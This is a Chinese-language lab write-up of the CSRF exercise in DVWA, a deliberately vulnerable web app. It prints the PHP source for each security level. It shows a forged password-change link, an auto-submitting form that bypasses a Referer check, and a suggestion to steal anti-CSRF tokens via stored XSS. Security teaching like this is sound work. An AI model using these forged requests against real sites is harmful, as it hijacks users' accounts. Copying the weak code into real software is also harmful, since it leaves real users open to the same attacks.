前言
CSRF,全称Cross-Site Request Forgery跨站请求伪造。其攻击过程如下;
CSRF与XSS的区别
XSS主要利用用户对站点的信任,而CSRF主要是利用站点对已知身份认证的信任。
XSS是用户自己点击链接来访问相应的网页的,而CSRF是在用户并不知情的情况下来提交请求的。
另外,两者的产生的原因也不一样,CSRF的是因为采用了隐式的认证方式,而XSS的是因为对用户输入没有进行有效的过滤。
CSRF与XSS的关系
均利用用户的会话执行某些操作;
若一个站点存在XSS漏洞,则很大可能也存在CSRF漏洞;
若CSRF的恶意代码存在于第三方的站点,即使能有效地过滤用户的输入而防止XSS,也未必能防御CSRF。
产生CSRF漏洞的原因
由于程序员的不严谨导致Web应用程序存在漏洞
Web浏览器对Cookie和HTTP身份验证等会话信息的处理存在缺陷
漏洞利用的前提
- 用户已经完成身份认证
- 新请求的提交不需要重新身份认证或确认机制
- 攻击者必须了解Web APP请求的参数构造
- 用户会被吸引去点击链接
几种常见的CSRF方式
1 2 3 4
| 1. <img>标签属性 2. <iframe>标签属性 3. <script>标签属性 4. JavaScript方法:Image对象、XMLHTTP对象
|
LOW
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php if( isset( $_GET[ 'Change' ] ) ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if( $pass_new == $pass_conf ) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
|
分析:
根据源代码功能,可以更改密码,但密码通过POST方式传输。
当攻击者发送一封邮件又如下链接http://localhost/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
,在不退出站点的情况下点击链接后,密码就会被改成123456;
或者链接是指向的是一个恶意网站。网站里面有一张图片,无法打开,但是这张图片的链接是http://localhost/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
密码也会被更改为123456;
MEDIUM
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php if( isset( $_GET[ 'Change' ] ) ) { if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if( $pass_new == $pass_conf ) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } } else { echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
|
分析:
增加了验证请求头部的来源地址(Referer),来源地址与服务器地址一致才能修改密码。
从邮件中点击链接或者从另外网站点击无法修改密码。
验证的来源地址和服务器地址是否一致的代码如下:
1
| stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
|
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
语法如下:
1
| stripos(string,find,start)
|
参数 |
描述 |
string |
必需,规定被搜索的字符串 |
find |
必需,规定要查找的字符 |
start |
可选,规定开始搜索的位置 |
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。
假如服务器的地址是 localhost($_SERVER[ 'SERVER_NAME' ]
),而恶意的网站的地址是 xyz.club/localhost.php($_SERVER[ 'HTTP_REFERER' ]
) 仍然可以绕过。
localhost.php可以是
1 2 3 4 5 6 7 8 9
| <form action="http://192.168.0.110:5678/vulnerabilities/csrf/?" method="GET"> <h1>Click Me</h1> <input type="text" name="password_new" value="123456"> <input type="text" name="password_conf" value="123456"> <input type="submit" value="Change" name="Change"> </form> <script> document.getElementsByTagName("form")[0].submit() <script>
|
HIGH
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php if( isset( $_GET[ 'Change' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if( $pass_new == $pass_conf ) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } generateSessionToken(); ?>
|
增加了Anti-CSRF token机制,可以防御绝大部分的CSRF利用;
只有获取token才能进行CSRF,但是游览器的同源策略,无法直接获取。
但是如果目标网站存在着存储性的XSS漏洞,可以利用存储型XSS漏洞来获取token,这个可以参考前面的文章,然后构造url和代码进行CSRF利用;
IMPOSSIBLE
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php if( isset( $_GET[ 'Change' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } generateSessionToken(); ?>
|
分析:
必须输入正确的当前使用的密码,有进一步的身份检测机制;
同时增加stripslashes函数和PDO防护防止sql的注入;